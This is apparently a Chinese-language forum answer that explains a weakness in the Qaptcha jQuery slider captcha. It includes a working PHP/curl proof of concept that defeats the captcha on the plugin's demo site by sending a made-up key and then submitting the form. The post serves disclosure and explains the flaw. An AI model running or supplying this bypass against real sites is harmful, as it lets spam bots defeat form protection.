不幸的是,这不是似乎是一个安全的验证码。
这篇文章的最后是一些可以绕过它的示例代码。我写了这个脚本,没有查看他们的任何源代码(php 或 javascript)。我只是嗅探了几个 HTTP 请求,看到了它在做什么并试图模仿它。我现在查看了他们的 JS 代码,但仍然没有查看 PHP,所以即使没有看到任何源代码,也可以绕过。
我根据成功和失败快速猜测它是如何工作的:
- 您在他们的页面上加载表单,创建的 PHP 会话可能没有数据。
- 加载了一个 JS 脚本,该脚本生成一个 qaptcha_key 并将其附加到表单中。
- 此密钥由 JavaScript 创建,尚未存储在服务器上。
- 您将滑块向右移动,jQuery 通过 Ajax 将“qaptcha_key”发送到 PHP,然后将密钥存储在会话中(密钥不是秘密的)。
- 您提交的表单包含之前通过 Ajax 发送的 qaptcha_key,如果您移动了滑块。
- 如果会话中存在匹配的 qaptcha_key(通过移动滑块),则认为表单有效。如果不存在这样的键,他们会假设您没有移动滑块(或禁用 JS),并且由于会话不包含 qaptcha_key,因此表单无效。
它可以变得更安全吗?在我看来并不容易。为了安全,秘密必须存储在服务器上,并且不能通过任何脚本或对服务器的 HTTP 请求轻易获得。也就是说,根据一些公共值发出 Ajax 请求来验证自己仍然可以使用 Ajax 或 HTTP 请求进行欺骗,如下面的示例。基本上,验证码解决方案必须存储在服务器上,由人(希望不是计算机)解释并发送回服务器。
这是您可以运行以绕过它的代码。基本上,如果你运行这个,你会看到:
Form can be submited
First Name : A Test
Last Name : Of Qaptcha
在结果输出中。正如您在代码中看到的那样,我只是一遍又一遍地使用相同的键。密钥是什么并不重要,因为客户端会通知服务器密钥,当您提交表单时,Qaptcha 只会检查与表单一起提交的值是否与 PHP 会话中存储的值匹配。因此键的值是无关紧要的,你只需要在提交表单之前告诉服务器它是什么。
我怀疑垃圾邮件发送者实施广泛使用的 Qaptcha 表单绕过并将其集成到他们的蜘蛛中只是时间问题。
概念证明:
<?php
$COOKIE_FILE = '/tmp/cookies.txt'; // The cookie file to use for storing the PHP session ID cookie
$FIRST_NAME = 'A Test'; // first name to send
$LAST_NAME = 'Of Qaptcha'; // last name to send
if (file_exists($COOKIE_FILE)) unlink($COOKIE_FILE); // clear cookies on start - just prevents re-using the same PHPSESSID over and over
$fake_qaptcha_key = 'thisIsAFakeKey12345'; // arbitrary qaptcha_key - normally generated by client JavaScript
// fetch the form - this creates a PHP session and gives us a cookie (yum)
$first = fetch_url('http://demos.myjqueryplugins.com/qaptcha/');
// This step is important - this stores a "qaptcha_key" in the PHP session that matches our session cookie
// We can make the key up in this step, it doesn't matter what it is or where it came from
$params = array('action' => 'qaptcha', 'qaptcha_key' => $fake_qaptcha_key);
$second = fetch_url('http://demos.myjqueryplugins.com/qaptcha/php/Qaptcha.jquery.php', 'POST', $params);
// Now submit the form along with the same qaptcha_key we told the server about in the last step
// As long as a form field is submitted that has the same name as the qaptcha_key we just told the server about, the captcha is bypassed
$params = array('firstname' => $FIRST_NAME, 'lastname' => $LAST_NAME, $fake_qaptcha_key => '', 'submit' => 'Submit Form');
$third = fetch_url('http://demos.myjqueryplugins.com/qaptcha/', 'POST', $params);
// echo the contents so you can see it said form was accepted.
echo $third;
// basic function that uses curl to fetch a URL with get/post
function fetch_url($url, $method = 'GET', $params = array())
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_COOKIEJAR, $GLOBALS['COOKIE_FILE']);
curl_setopt($ch, CURLOPT_COOKIEFILE, $GLOBALS['COOKIE_FILE']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
if ($method == 'POST') {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
}
$return = curl_exec($ch);
return $return;
}
我希望你清楚地回答了这个问题。